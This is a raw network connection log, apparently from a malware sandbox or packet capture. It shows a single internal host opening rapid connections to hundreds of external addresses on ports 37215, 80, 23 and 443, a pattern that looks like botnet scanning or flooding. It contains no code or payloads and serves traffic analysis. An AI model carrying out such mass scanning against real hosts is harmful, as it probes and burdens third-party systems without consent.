Oct 17, 2024 02:19:44.003787041 CEST	38772	80	192.168.2.14	58.167.14.24
Oct 17, 2024 02:19:44.003789902 CEST	51526	80	192.168.2.14	189.109.155.141
Oct 17, 2024 02:19:44.003798008 CEST	44500	37215	192.168.2.14	156.83.9.230
Oct 17, 2024 02:19:44.003798008 CEST	39398	80	192.168.2.14	198.157.80.7
Oct 17, 2024 02:19:44.003802061 CEST	51522	80	192.168.2.14	194.17.79.67
Oct 17, 2024 02:19:44.003802061 CEST	36144	80	192.168.2.14	162.199.39.69
Oct 17, 2024 02:19:44.003802061 CEST	37564	37215	192.168.2.14	197.75.230.149
Oct 17, 2024 02:19:44.003809929 CEST	54304	37215	192.168.2.14	41.147.231.166
Oct 17, 2024 02:19:44.003994942 CEST	60608	80	192.168.2.14	43.21.92.170
Oct 17, 2024 02:19:44.003994942 CEST	53534	80	192.168.2.14	82.235.166.47
Oct 17, 2024 02:19:44.008610010 CEST	37215	49846	197.128.232.182	192.168.2.14
Oct 17, 2024 02:19:44.008652925 CEST	37215	50496	197.77.141.197	192.168.2.14
Oct 17, 2024 02:19:44.008682013 CEST	49846	37215	192.168.2.14	197.128.232.182
Oct 17, 2024 02:19:44.008958101 CEST	49846	37215	192.168.2.14	197.128.232.182
Oct 17, 2024 02:19:44.008974075 CEST	49846	37215	192.168.2.14	197.128.232.182
Oct 17, 2024 02:19:44.009025097 CEST	50496	37215	192.168.2.14	197.77.141.197
Oct 17, 2024 02:19:44.009597063 CEST	50166	37215	192.168.2.14	197.128.232.182
Oct 17, 2024 02:19:44.011023045 CEST	50496	37215	192.168.2.14	197.77.141.197
Oct 17, 2024 02:19:44.011023045 CEST	50496	37215	192.168.2.14	197.77.141.197
Oct 17, 2024 02:19:44.011833906 CEST	50814	37215	192.168.2.14	197.77.141.197
Oct 17, 2024 02:19:44.013897896 CEST	37215	49846	197.128.232.182	192.168.2.14
Oct 17, 2024 02:19:44.014436007 CEST	37215	50166	197.128.232.182	192.168.2.14
Oct 17, 2024 02:19:44.014533997 CEST	50166	37215	192.168.2.14	197.128.232.182
Oct 17, 2024 02:19:44.014534950 CEST	50166	37215	192.168.2.14	197.128.232.182
Oct 17, 2024 02:19:44.015841961 CEST	37215	50496	197.77.141.197	192.168.2.14
Oct 17, 2024 02:19:44.019570112 CEST	37215	50166	197.128.232.182	192.168.2.14
Oct 17, 2024 02:19:44.019634962 CEST	50166	37215	192.168.2.14	197.128.232.182
Oct 17, 2024 02:19:44.023108006 CEST	80	50646	25.246.143.164	192.168.2.14
Oct 17, 2024 02:19:44.031146049 CEST	80	54670	74.67.219.248	192.168.2.14
Oct 17, 2024 02:19:44.035753012 CEST	59608	23	192.168.2.14	150.65.175.239
Oct 17, 2024 02:19:44.035758972 CEST	43582	37215	192.168.2.14	156.162.153.5
Oct 17, 2024 02:19:44.035765886 CEST	37716	80	192.168.2.14	131.123.125.247
Oct 17, 2024 02:19:44.035782099 CEST	36740	37215	192.168.2.14	197.18.200.152
Oct 17, 2024 02:19:44.035783052 CEST	54308	80	192.168.2.14	199.4.155.168
Oct 17, 2024 02:19:44.035783052 CEST	38376	37215	192.168.2.14	41.154.136.120
Oct 17, 2024 02:19:44.035788059 CEST	33176	80	192.168.2.14	155.202.61.115
Oct 17, 2024 02:19:44.035793066 CEST	51158	37215	192.168.2.14	41.241.0.143
Oct 17, 2024 02:19:44.035788059 CEST	56544	80	192.168.2.14	206.61.33.79
Oct 17, 2024 02:19:44.035801888 CEST	42048	80	192.168.2.14	96.128.202.170
Oct 17, 2024 02:19:44.035805941 CEST	44430	37215	192.168.2.14	41.29.102.230
Oct 17, 2024 02:19:44.035813093 CEST	52116	80	192.168.2.14	27.147.76.225
Oct 17, 2024 02:19:44.035813093 CEST	50464	80	192.168.2.14	151.92.33.61
Oct 17, 2024 02:19:44.035813093 CEST	38312	37215	192.168.2.14	156.67.10.138
Oct 17, 2024 02:19:44.035813093 CEST	40624	80	192.168.2.14	174.24.2.27
Oct 17, 2024 02:19:44.040642023 CEST	37215	43582	156.162.153.5	192.168.2.14
Oct 17, 2024 02:19:44.040677071 CEST	23	59608	150.65.175.239	192.168.2.14
Oct 17, 2024 02:19:44.040729046 CEST	43582	37215	192.168.2.14	156.162.153.5
Oct 17, 2024 02:19:44.040738106 CEST	59608	23	192.168.2.14	150.65.175.239
Oct 17, 2024 02:19:44.040971041 CEST	43582	37215	192.168.2.14	156.162.153.5
Oct 17, 2024 02:19:44.040971041 CEST	43582	37215	192.168.2.14	156.162.153.5
Oct 17, 2024 02:19:44.041728020 CEST	43864	37215	192.168.2.14	156.162.153.5
Oct 17, 2024 02:19:44.045826912 CEST	37215	43582	156.162.153.5	192.168.2.14
Oct 17, 2024 02:19:44.046509981 CEST	37215	43864	156.162.153.5	192.168.2.14
Oct 17, 2024 02:19:44.046597958 CEST	43864	37215	192.168.2.14	156.162.153.5
Oct 17, 2024 02:19:44.046597958 CEST	43864	37215	192.168.2.14	156.162.153.5
Oct 17, 2024 02:19:44.052004099 CEST	37215	43864	156.162.153.5	192.168.2.14
Oct 17, 2024 02:19:44.052062035 CEST	43864	37215	192.168.2.14	156.162.153.5
Oct 17, 2024 02:19:44.055182934 CEST	37215	49846	197.128.232.182	192.168.2.14
Oct 17, 2024 02:19:44.059113026 CEST	37215	50496	197.77.141.197	192.168.2.14
Oct 17, 2024 02:19:44.067754030 CEST	42138	37215	192.168.2.14	197.190.157.186
Oct 17, 2024 02:19:44.067816019 CEST	40554	80	192.168.2.14	57.222.88.137
Oct 17, 2024 02:19:44.067837000 CEST	43138	80	192.168.2.14	36.46.127.250
Oct 17, 2024 02:19:44.067861080 CEST	47686	80	192.168.2.14	8.195.166.159
Oct 17, 2024 02:19:44.067864895 CEST	52188	80	192.168.2.14	94.8.190.200
Oct 17, 2024 02:19:44.067867994 CEST	40030	80	192.168.2.14	119.43.17.98
Oct 17, 2024 02:19:44.067868948 CEST	41062	37215	192.168.2.14	41.248.114.237
Oct 17, 2024 02:19:44.067867994 CEST	57386	80	192.168.2.14	107.222.113.58
Oct 17, 2024 02:19:44.067872047 CEST	33000	37215	192.168.2.14	41.25.39.86
Oct 17, 2024 02:19:44.067872047 CEST	37624	37215	192.168.2.14	197.157.68.16
Oct 17, 2024 02:19:44.067872047 CEST	55876	80	192.168.2.14	196.201.9.128
Oct 17, 2024 02:19:44.067879915 CEST	51166	80	192.168.2.14	89.205.249.27
Oct 17, 2024 02:19:44.067883968 CEST	32848	37215	192.168.2.14	41.105.31.70
Oct 17, 2024 02:19:44.067883968 CEST	58986	80	192.168.2.14	65.149.139.140
Oct 17, 2024 02:19:44.072612047 CEST	37215	42138	197.190.157.186	192.168.2.14
Oct 17, 2024 02:19:44.072648048 CEST	80	40554	57.222.88.137	192.168.2.14
Oct 17, 2024 02:19:44.072659969 CEST	80	43138	36.46.127.250	192.168.2.14
Oct 17, 2024 02:19:44.072716951 CEST	42138	37215	192.168.2.14	197.190.157.186
Oct 17, 2024 02:19:44.072717905 CEST	43138	80	192.168.2.14	36.46.127.250
Oct 17, 2024 02:19:44.072756052 CEST	40554	80	192.168.2.14	57.222.88.137
Oct 17, 2024 02:19:44.072824955 CEST	43138	80	192.168.2.14	36.46.127.250
Oct 17, 2024 02:19:44.072844982 CEST	40554	80	192.168.2.14	57.222.88.137
Oct 17, 2024 02:19:44.073185921 CEST	42138	37215	192.168.2.14	197.190.157.186
Oct 17, 2024 02:19:44.073185921 CEST	42138	37215	192.168.2.14	197.190.157.186
Oct 17, 2024 02:19:44.074093103 CEST	42390	37215	192.168.2.14	197.190.157.186
Oct 17, 2024 02:19:44.078006983 CEST	37215	42138	197.190.157.186	192.168.2.14
Oct 17, 2024 02:19:44.078828096 CEST	80	43138	36.46.127.250	192.168.2.14
Oct 17, 2024 02:19:44.078876972 CEST	43138	80	192.168.2.14	36.46.127.250
Oct 17, 2024 02:19:44.078996897 CEST	80	40554	57.222.88.137	192.168.2.14
Oct 17, 2024 02:19:44.079116106 CEST	40554	80	192.168.2.14	57.222.88.137
Oct 17, 2024 02:19:44.087058067 CEST	37215	43582	156.162.153.5	192.168.2.14
Oct 17, 2024 02:19:44.099771023 CEST	47872	37215	192.168.2.14	197.142.233.40
Oct 17, 2024 02:19:44.099771023 CEST	48352	37215	192.168.2.14	41.53.162.133
Oct 17, 2024 02:19:44.099771023 CEST	55306	37215	192.168.2.14	197.201.29.125
Oct 17, 2024 02:19:44.099771023 CEST	59662	37215	192.168.2.14	41.61.10.200
Oct 17, 2024 02:19:44.099781990 CEST	45122	59666	192.168.2.14	92.249.48.84
Oct 17, 2024 02:19:44.099783897 CEST	35824	37215	192.168.2.14	156.45.20.38
Oct 17, 2024 02:19:44.099795103 CEST	48882	80	192.168.2.14	34.50.168.128
Oct 17, 2024 02:19:44.099798918 CEST	56336	80	192.168.2.14	66.119.106.113
Oct 17, 2024 02:19:44.099801064 CEST	37538	80	192.168.2.14	74.67.187.229
Oct 17, 2024 02:19:44.099819899 CEST	48598	37215	192.168.2.14	197.243.195.90
Oct 17, 2024 02:19:44.099819899 CEST	34242	80	192.168.2.14	35.45.188.242
Oct 17, 2024 02:19:44.099819899 CEST	56334	37215	192.168.2.14	197.125.71.22
Oct 17, 2024 02:19:44.104556084 CEST	37215	47872	197.142.233.40	192.168.2.14
Oct 17, 2024 02:19:44.104620934 CEST	47872	37215	192.168.2.14	197.142.233.40
Oct 17, 2024 02:19:44.104643106 CEST	37215	48352	41.53.162.133	192.168.2.14
Oct 17, 2024 02:19:44.104655027 CEST	37215	59662	41.61.10.200	192.168.2.14
Oct 17, 2024 02:19:44.104703903 CEST	48352	37215	192.168.2.14	41.53.162.133
Oct 17, 2024 02:19:44.104888916 CEST	47872	37215	192.168.2.14	197.142.233.40
Oct 17, 2024 02:19:44.104888916 CEST	47872	37215	192.168.2.14	197.142.233.40
Oct 17, 2024 02:19:44.104974985 CEST	59662	37215	192.168.2.14	41.61.10.200
Oct 17, 2024 02:19:44.105671883 CEST	48096	37215	192.168.2.14	197.142.233.40
Oct 17, 2024 02:19:44.107405901 CEST	48352	37215	192.168.2.14	41.53.162.133
Oct 17, 2024 02:19:44.107405901 CEST	48352	37215	192.168.2.14	41.53.162.133
Oct 17, 2024 02:19:44.108161926 CEST	48582	37215	192.168.2.14	41.53.162.133
Oct 17, 2024 02:19:44.109662056 CEST	37215	47872	197.142.233.40	192.168.2.14
Oct 17, 2024 02:19:44.109963894 CEST	59662	37215	192.168.2.14	41.61.10.200
Oct 17, 2024 02:19:44.109963894 CEST	59662	37215	192.168.2.14	41.61.10.200
Oct 17, 2024 02:19:44.111372948 CEST	59896	37215	192.168.2.14	41.61.10.200
Oct 17, 2024 02:19:44.112191916 CEST	37215	48352	41.53.162.133	192.168.2.14
Oct 17, 2024 02:19:44.113018990 CEST	37215	48582	41.53.162.133	192.168.2.14
Oct 17, 2024 02:19:44.113075018 CEST	48582	37215	192.168.2.14	41.53.162.133
Oct 17, 2024 02:19:44.113130093 CEST	48582	37215	192.168.2.14	41.53.162.133
Oct 17, 2024 02:19:44.114763975 CEST	37215	59662	41.61.10.200	192.168.2.14
Oct 17, 2024 02:19:44.118268013 CEST	37215	48582	41.53.162.133	192.168.2.14
Oct 17, 2024 02:19:44.118355989 CEST	48582	37215	192.168.2.14	41.53.162.133
Oct 17, 2024 02:19:44.119101048 CEST	37215	42138	197.190.157.186	192.168.2.14
Oct 17, 2024 02:19:44.131751060 CEST	46866	37215	192.168.2.14	41.167.85.71
Oct 17, 2024 02:19:44.131759882 CEST	60928	443	192.168.2.14	212.60.66.16
Oct 17, 2024 02:19:44.131759882 CEST	60332	37215	192.168.2.14	41.167.39.254
Oct 17, 2024 02:19:44.131759882 CEST	35606	80	192.168.2.14	176.113.27.165
Oct 17, 2024 02:19:44.131763935 CEST	45316	37215	192.168.2.14	41.104.152.11
Oct 17, 2024 02:19:44.131763935 CEST	34610	37215	192.168.2.14	41.208.96.182
Oct 17, 2024 02:19:44.131763935 CEST	34584	37215	192.168.2.14	197.238.119.64
Oct 17, 2024 02:19:44.131766081 CEST	48734	443	192.168.2.14	2.145.78.129
Oct 17, 2024 02:19:44.131769896 CEST	54210	443	192.168.2.14	148.199.235.17
Oct 17, 2024 02:19:44.131769896 CEST	36384	37215	192.168.2.14	156.20.186.166
Oct 17, 2024 02:19:44.131773949 CEST	45592	37215	192.168.2.14	197.46.80.116
Oct 17, 2024 02:19:44.131774902 CEST	58334	443	192.168.2.14	118.253.42.53
Oct 17, 2024 02:19:44.131774902 CEST	53478	37215	192.168.2.14	41.98.57.45
Oct 17, 2024 02:19:44.131779909 CEST	56146	37215	192.168.2.14	41.187.77.180
Oct 17, 2024 02:19:44.131803989 CEST	443	60928	212.60.66.16	192.168.2.14
Oct 17, 2024 02:19:44.131818056 CEST	40036	37215	192.168.2.14	197.152.138.101
Oct 17, 2024 02:19:44.131930113 CEST	60928	443	192.168.2.14	212.60.66.16
Oct 17, 2024 02:19:44.131932974 CEST	20641	443	192.168.2.14	118.129.138.181
Oct 17, 2024 02:19:44.131947041 CEST	20641	443	192.168.2.14	202.75.196.205
Oct 17, 2024 02:19:44.131947994 CEST	20641	443	192.168.2.14	94.42.155.159
Oct 17, 2024 02:19:44.131954908 CEST	20641	443	192.168.2.14	148.217.72.228
Oct 17, 2024 02:19:44.131954908 CEST	20641	443	192.168.2.14	109.43.240.5
Oct 17, 2024 02:19:44.131959915 CEST	20641	443	192.168.2.14	148.101.195.84
Oct 17, 2024 02:19:44.131978989 CEST	20641	443	192.168.2.14	212.11.71.218
Oct 17, 2024 02:19:44.131978989 CEST	20641	443	192.168.2.14	37.209.202.23
Oct 17, 2024 02:19:44.132028103 CEST	20641	443	192.168.2.14	117.203.155.105
Oct 17, 2024 02:19:44.132029057 CEST	20641	443	192.168.2.14	5.226.14.41
Oct 17, 2024 02:19:44.132036924 CEST	20641	443	192.168.2.14	148.1.2.91
Oct 17, 2024 02:19:44.132036924 CEST	20641	443	192.168.2.14	148.246.229.240
Oct 17, 2024 02:19:44.132036924 CEST	20641	443	192.168.2.14	210.111.7.31
Oct 17, 2024 02:19:44.132044077 CEST	20641	443	192.168.2.14	123.87.237.92
Oct 17, 2024 02:19:44.132044077 CEST	20641	443	192.168.2.14	123.130.93.77
Oct 17, 2024 02:19:44.132045031 CEST	20641	443	192.168.2.14	79.162.99.149
Oct 17, 2024 02:19:44.132045031 CEST	20641	443	192.168.2.14	2.85.238.158
Oct 17, 2024 02:19:44.132045984 CEST	20641	443	192.168.2.14	202.147.176.227
Oct 17, 2024 02:19:44.132046938 CEST	20641	443	192.168.2.14	118.202.151.54
Oct 17, 2024 02:19:44.132045984 CEST	20641	443	192.168.2.14	2.98.172.102
Oct 17, 2024 02:19:44.132045031 CEST	20641	443	192.168.2.14	178.111.188.193
Oct 17, 2024 02:19:44.132045984 CEST	20641	443	192.168.2.14	117.67.75.3
Oct 17, 2024 02:19:44.132045031 CEST	20641	443	192.168.2.14	109.202.87.154
Oct 17, 2024 02:19:44.132047892 CEST	20641	443	192.168.2.14	210.192.227.106
Oct 17, 2024 02:19:44.132047892 CEST	20641	443	192.168.2.14	212.216.250.60
Oct 17, 2024 02:19:44.132047892 CEST	20641	443	192.168.2.14	123.193.31.7
Oct 17, 2024 02:19:44.132045031 CEST	20641	443	192.168.2.14	5.23.137.79
Oct 17, 2024 02:19:44.132047892 CEST	20641	443	192.168.2.14	210.102.126.188
Oct 17, 2024 02:19:44.132061958 CEST	20641	443	192.168.2.14	123.23.244.214
Oct 17, 2024 02:19:44.132075071 CEST	20641	443	192.168.2.14	117.230.128.104
Oct 17, 2024 02:19:44.132075071 CEST	20641	443	192.168.2.14	79.194.82.149
Oct 17, 2024 02:19:44.132075071 CEST	20641	443	192.168.2.14	79.194.34.175
Oct 17, 2024 02:19:44.132085085 CEST	20641	443	192.168.2.14	79.118.71.61
Oct 17, 2024 02:19:44.132093906 CEST	20641	443	192.168.2.14	37.113.122.132
Oct 17, 2024 02:19:44.132096052 CEST	20641	443	192.168.2.14	2.171.140.190
Oct 17, 2024 02:19:44.132096052 CEST	20641	443	192.168.2.14	118.163.218.97
Oct 17, 2024 02:19:44.132103920 CEST	20641	443	192.168.2.14	178.143.146.209
Oct 17, 2024 02:19:44.132117987 CEST	20641	443	192.168.2.14	2.163.246.41
Oct 17, 2024 02:19:44.132117987 CEST	20641	443	192.168.2.14	148.140.121.18
Oct 17, 2024 02:19:44.132119894 CEST	20641	443	192.168.2.14	210.12.121.55
Oct 17, 2024 02:19:44.132138968 CEST	20641	443	192.168.2.14	210.132.126.170
Oct 17, 2024 02:19:44.132139921 CEST	20641	443	192.168.2.14	94.70.225.135
Oct 17, 2024 02:19:44.132139921 CEST	20641	443	192.168.2.14	210.204.18.124
Oct 17, 2024 02:19:44.132148027 CEST	20641	443	192.168.2.14	37.28.242.95
Oct 17, 2024 02:19:44.132149935 CEST	20641	443	192.168.2.14	42.97.143.139
Oct 17, 2024 02:19:44.132159948 CEST	20641	443	192.168.2.14	123.164.109.114
Oct 17, 2024 02:19:44.132178068 CEST	20641	443	192.168.2.14	210.0.31.47
Oct 17, 2024 02:19:44.132178068 CEST	20641	443	192.168.2.14	109.251.203.39
Oct 17, 2024 02:19:44.132183075 CEST	20641	443	192.168.2.14	148.161.154.180
Oct 17, 2024 02:19:44.132194042 CEST	20641	443	192.168.2.14	123.138.44.212
Oct 17, 2024 02:19:44.132195950 CEST	20641	443	192.168.2.14	178.226.53.16
Oct 17, 2024 02:19:44.132196903 CEST	20641	443	192.168.2.14	123.139.15.192
Oct 17, 2024 02:19:44.132209063 CEST	20641	443	192.168.2.14	117.243.210.73
Oct 17, 2024 02:19:44.132209063 CEST	20641	443	192.168.2.14	178.241.7.97
Oct 17, 2024 02:19:44.132209063 CEST	20641	443	192.168.2.14	118.55.159.66
Oct 17, 2024 02:19:44.132215977 CEST	20641	443	192.168.2.14	37.162.151.153
Oct 17, 2024 02:19:44.132221937 CEST	20641	443	192.168.2.14	2.131.44.23
Oct 17, 2024 02:19:44.132221937 CEST	20641	443	192.168.2.14	2.191.196.119
Oct 17, 2024 02:19:44.132234097 CEST	20641	443	192.168.2.14	37.223.27.39
Oct 17, 2024 02:19:44.132237911 CEST	20641	443	192.168.2.14	178.217.33.102
Oct 17, 2024 02:19:44.132252932 CEST	20641	443	192.168.2.14	37.249.17.99
Oct 17, 2024 02:19:44.132252932 CEST	20641	443	192.168.2.14	202.4.78.111
Oct 17, 2024 02:19:44.132255077 CEST	20641	443	192.168.2.14	118.132.5.67
Oct 17, 2024 02:19:44.132262945 CEST	20641	443	192.168.2.14	2.112.150.11
Oct 17, 2024 02:19:44.132271051 CEST	20641	443	192.168.2.14	117.135.164.248
Oct 17, 2024 02:19:44.132278919 CEST	20641	443	192.168.2.14	202.233.62.43
Oct 17, 2024 02:19:44.132287979 CEST	20641	443	192.168.2.14	5.60.220.137
Oct 17, 2024 02:19:44.132293940 CEST	20641	443	192.168.2.14	5.104.244.179
Oct 17, 2024 02:19:44.132293940 CEST	20641	443	192.168.2.14	118.68.115.89
Oct 17, 2024 02:19:44.132297993 CEST	20641	443	192.168.2.14	42.232.187.204
Oct 17, 2024 02:19:44.132323027 CEST	20641	443	192.168.2.14	210.68.247.97
Oct 17, 2024 02:19:44.132323027 CEST	20641	443	192.168.2.14	94.31.240.88
Oct 17, 2024 02:19:44.132323027 CEST	20641	443	192.168.2.14	212.77.250.52
Oct 17, 2024 02:19:44.132325888 CEST	20641	443	192.168.2.14	212.0.115.21
Oct 17, 2024 02:19:44.132325888 CEST	20641	443	192.168.2.14	117.36.199.183
Oct 17, 2024 02:19:44.132329941 CEST	20641	443	192.168.2.14	123.248.122.230
Oct 17, 2024 02:19:44.132333994 CEST	20641	443	192.168.2.14	94.49.73.225
Oct 17, 2024 02:19:44.132343054 CEST	20641	443	192.168.2.14	42.167.195.224
Oct 17, 2024 02:19:44.132349014 CEST	20641	443	192.168.2.14	118.12.111.116
Oct 17, 2024 02:19:44.132349014 CEST	20641	443	192.168.2.14	94.50.140.245
Oct 17, 2024 02:19:44.132356882 CEST	20641	443	192.168.2.14	118.146.55.210
Oct 17, 2024 02:19:44.132365942 CEST	20641	443	192.168.2.14	210.141.229.2
Oct 17, 2024 02:19:44.132374048 CEST	20641	443	192.168.2.14	118.101.127.37
Oct 17, 2024 02:19:44.132379055 CEST	20641	443	192.168.2.14	118.117.76.43
Oct 17, 2024 02:19:44.132379055 CEST	20641	443	192.168.2.14	117.225.166.204
Oct 17, 2024 02:19:44.132380962 CEST	20641	443	192.168.2.14	109.82.120.53
Oct 17, 2024 02:19:44.132422924 CEST	20641	443	192.168.2.14	178.55.107.151
Oct 17, 2024 02:19:44.132424116 CEST	20641	443	192.168.2.14	123.228.157.67
Oct 17, 2024 02:19:44.132460117 CEST	20641	443	192.168.2.14	37.48.241.240
Oct 17, 2024 02:19:44.132460117 CEST	20641	443	192.168.2.14	2.144.152.236
Oct 17, 2024 02:19:44.132460117 CEST	20641	443	192.168.2.14	118.83.209.139
Oct 17, 2024 02:19:44.132461071 CEST	20641	443	192.168.2.14	123.21.38.166
Oct 17, 2024 02:19:44.132462978 CEST	20641	443	192.168.2.14	42.201.55.233
Oct 17, 2024 02:19:44.132462978 CEST	20641	443	192.168.2.14	212.130.181.237
Oct 17, 2024 02:19:44.132462978 CEST	20641	443	192.168.2.14	202.99.4.253
Oct 17, 2024 02:19:44.132464886 CEST	20641	443	192.168.2.14	5.244.59.214
Oct 17, 2024 02:19:44.132525921 CEST	20641	443	192.168.2.14	79.24.245.225
Oct 17, 2024 02:19:44.132525921 CEST	20641	443	192.168.2.14	118.30.2.177
Oct 17, 2024 02:19:44.132525921 CEST	20641	443	192.168.2.14	210.184.249.11
Oct 17, 2024 02:19:44.132525921 CEST	20641	443	192.168.2.14	94.226.151.17
Oct 17, 2024 02:19:44.132525921 CEST	20641	443	192.168.2.14	117.167.213.107
Oct 17, 2024 02:19:44.132525921 CEST	20641	443	192.168.2.14	118.36.109.4
Oct 17, 2024 02:19:44.132529020 CEST	20641	443	192.168.2.14	79.147.151.41
Oct 17, 2024 02:19:44.132529974 CEST	20641	443	192.168.2.14	117.143.70.112
Oct 17, 2024 02:19:44.132529974 CEST	20641	443	192.168.2.14	5.15.61.55
Oct 17, 2024 02:19:44.132531881 CEST	20641	443	192.168.2.14	118.50.196.51
Oct 17, 2024 02:19:44.132531881 CEST	20641	443	192.168.2.14	117.127.185.89
Oct 17, 2024 02:19:44.132533073 CEST	20641	443	192.168.2.14	202.183.249.51
Oct 17, 2024 02:19:44.132533073 CEST	20641	443	192.168.2.14	148.54.47.149
Oct 17, 2024 02:19:44.132533073 CEST	20641	443	192.168.2.14	42.47.167.75
Oct 17, 2024 02:19:44.132533073 CEST	20641	443	192.168.2.14	5.244.195.80
Oct 17, 2024 02:19:44.132533073 CEST	20641	443	192.168.2.14	42.167.35.132
Oct 17, 2024 02:19:44.132533073 CEST	20641	443	192.168.2.14	2.235.151.234
Oct 17, 2024 02:19:44.132533073 CEST	20641	443	192.168.2.14	178.144.68.89
Oct 17, 2024 02:19:44.132533073 CEST	20641	443	192.168.2.14	2.198.161.61
Oct 17, 2024 02:19:44.132599115 CEST	20641	443	192.168.2.14	178.63.18.106
Oct 17, 2024 02:19:44.132599115 CEST	20641	443	192.168.2.14	123.220.151.110
Oct 17, 2024 02:19:44.132602930 CEST	20641	443	192.168.2.14	148.22.20.39
Oct 17, 2024 02:19:44.132602930 CEST	20641	443	192.168.2.14	42.87.175.252
Oct 17, 2024 02:19:44.132602930 CEST	20641	443	192.168.2.14	148.251.235.247
Oct 17, 2024 02:19:44.132605076 CEST	20641	443	192.168.2.14	202.60.198.194
Oct 17, 2024 02:19:44.132602930 CEST	20641	443	192.168.2.14	148.51.33.212
Oct 17, 2024 02:19:44.132606030 CEST	20641	443	192.168.2.14	178.166.214.145
Oct 17, 2024 02:19:44.132605076 CEST	20641	443	192.168.2.14	212.4.117.40
Oct 17, 2024 02:19:44.132603884 CEST	20641	443	192.168.2.14	212.230.142.67
Oct 17, 2024 02:19:44.132606030 CEST	20641	443	192.168.2.14	202.192.192.116
Oct 17, 2024 02:19:44.132605076 CEST	20641	443	192.168.2.14	79.250.117.239
Oct 17, 2024 02:19:44.132603884 CEST	20641	443	192.168.2.14	94.180.163.144
Oct 17, 2024 02:19:44.132606030 CEST	20641	443	192.168.2.14	123.104.189.42
Oct 17, 2024 02:19:44.132602930 CEST	20641	443	192.168.2.14	109.46.132.251
Oct 17, 2024 02:19:44.132603884 CEST	20641	443	192.168.2.14	94.139.96.38
Oct 17, 2024 02:19:44.132606030 CEST	20641	443	192.168.2.14	79.89.98.232
Oct 17, 2024 02:19:44.132602930 CEST	20641	443	192.168.2.14	42.126.165.1
Oct 17, 2024 02:19:44.132606030 CEST	20641	443	192.168.2.14	118.76.219.13
Oct 17, 2024 02:19:44.132602930 CEST	20641	443	192.168.2.14	2.134.85.166
Oct 17, 2024 02:19:44.132606030 CEST	20641	443	192.168.2.14	202.137.55.133
Oct 17, 2024 02:19:44.132606030 CEST	20641	443	192.168.2.14	178.77.112.195
Oct 17, 2024 02:19:44.132606030 CEST	20641	443	192.168.2.14	123.242.122.85
Oct 17, 2024 02:19:44.132622004 CEST	20641	443	192.168.2.14	212.251.211.97
Oct 17, 2024 02:19:44.132627010 CEST	20641	443	192.168.2.14	123.20.126.6
Oct 17, 2024 02:19:44.132627010 CEST	20641	443	192.168.2.14	94.14.159.134
Oct 17, 2024 02:19:44.132688046 CEST	20641	443	192.168.2.14	210.220.70.149
Oct 17, 2024 02:19:44.132688046 CEST	20641	443	192.168.2.14	5.44.93.241
Oct 17, 2024 02:19:44.132688999 CEST	20641	443	192.168.2.14	118.118.215.252
Oct 17, 2024 02:19:44.132688046 CEST	20641	443	192.168.2.14	5.253.1.96
Oct 17, 2024 02:19:44.132688999 CEST	20641	443	192.168.2.14	2.30.33.27
Oct 17, 2024 02:19:44.132688046 CEST	20641	443	192.168.2.14	37.219.32.30
Oct 17, 2024 02:19:44.132692099 CEST	20641	443	192.168.2.14	2.37.192.131
Oct 17, 2024 02:19:44.132688046 CEST	20641	443	192.168.2.14	79.246.245.179
Oct 17, 2024 02:19:44.132695913 CEST	20641	443	192.168.2.14	37.228.116.47
Oct 17, 2024 02:19:44.132692099 CEST	20641	443	192.168.2.14	79.72.121.16
Oct 17, 2024 02:19:44.132688046 CEST	20641	443	192.168.2.14	109.18.126.66
Oct 17, 2024 02:19:44.132694006 CEST	20641	443	192.168.2.14	202.35.68.56
Oct 17, 2024 02:19:44.132695913 CEST	20641	443	192.168.2.14	2.243.31.95
Oct 17, 2024 02:19:44.132688999 CEST	20641	443	192.168.2.14	118.173.189.254
Oct 17, 2024 02:19:44.132695913 CEST	20641	443	192.168.2.14	210.3.204.224
Oct 17, 2024 02:19:44.132690907 CEST	20641	443	192.168.2.14	178.51.116.54
Oct 17, 2024 02:19:44.132695913 CEST	20641	443	192.168.2.14	42.234.154.154
Oct 17, 2024 02:19:44.132694006 CEST	20641	443	192.168.2.14	118.40.27.245
Oct 17, 2024 02:19:44.132692099 CEST	20641	443	192.168.2.14	109.98.120.35
Oct 17, 2024 02:19:44.132695913 CEST	20641	443	192.168.2.14	212.231.133.104
Oct 17, 2024 02:19:44.132688999 CEST	20641	443	192.168.2.14	118.131.189.88
Oct 17, 2024 02:19:44.132695913 CEST	20641	443	192.168.2.14	178.141.22.80
Oct 17, 2024 02:19:44.132695913 CEST	20641	443	192.168.2.14	5.254.232.11
Oct 17, 2024 02:19:44.132695913 CEST	20641	443	192.168.2.14	202.35.86.151
Oct 17, 2024 02:19:44.132695913 CEST	20641	443	192.168.2.14	212.125.249.206
Oct 17, 2024 02:19:44.132695913 CEST	20641	443	192.168.2.14	2.53.183.27
Oct 17, 2024 02:19:44.132695913 CEST	20641	443	192.168.2.14	212.189.72.75
Oct 17, 2024 02:19:44.132690907 CEST	20641	443	192.168.2.14	5.145.173.121
Oct 17, 2024 02:19:44.132694960 CEST	20641	443	192.168.2.14	202.78.135.96
Oct 17, 2024 02:19:44.132695913 CEST	20641	443	192.168.2.14	37.6.174.73
Oct 17, 2024 02:19:44.132694960 CEST	20641	443	192.168.2.14	109.186.173.101
Oct 17, 2024 02:19:44.132776022 CEST	20641	443	192.168.2.14	123.61.105.188
Oct 17, 2024 02:19:44.132776022 CEST	20641	443	192.168.2.14	148.237.139.176
Oct 17, 2024 02:19:44.132776022 CEST	20641	443	192.168.2.14	37.172.132.176
Oct 17, 2024 02:19:44.132778883 CEST	20641	443	192.168.2.14	79.221.77.105
Oct 17, 2024 02:19:44.132778883 CEST	20641	443	192.168.2.14	42.85.1.47
Oct 17, 2024 02:19:44.132781982 CEST	20641	443	192.168.2.14	94.63.59.63
Oct 17, 2024 02:19:44.132781982 CEST	20641	443	192.168.2.14	210.224.65.139
Oct 17, 2024 02:19:44.132782936 CEST	20641	443	192.168.2.14	118.154.185.167
Oct 17, 2024 02:19:44.132783890 CEST	20641	443	192.168.2.14	212.51.173.196
Oct 17, 2024 02:19:44.132781982 CEST	20641	443	192.168.2.14	148.80.107.124
Oct 17, 2024 02:19:44.132783890 CEST	20641	443	192.168.2.14	94.185.234.138
Oct 17, 2024 02:19:44.132783890 CEST	20641	443	192.168.2.14	42.27.79.247
Oct 17, 2024 02:19:44.132783890 CEST	20641	443	192.168.2.14	117.72.189.51
Oct 17, 2024 02:19:44.132782936 CEST	20641	443	192.168.2.14	212.3.77.172
Oct 17, 2024 02:19:44.132785082 CEST	20641	443	192.168.2.14	202.47.83.204
Oct 17, 2024 02:19:44.132781982 CEST	20641	443	192.168.2.14	94.19.33.152
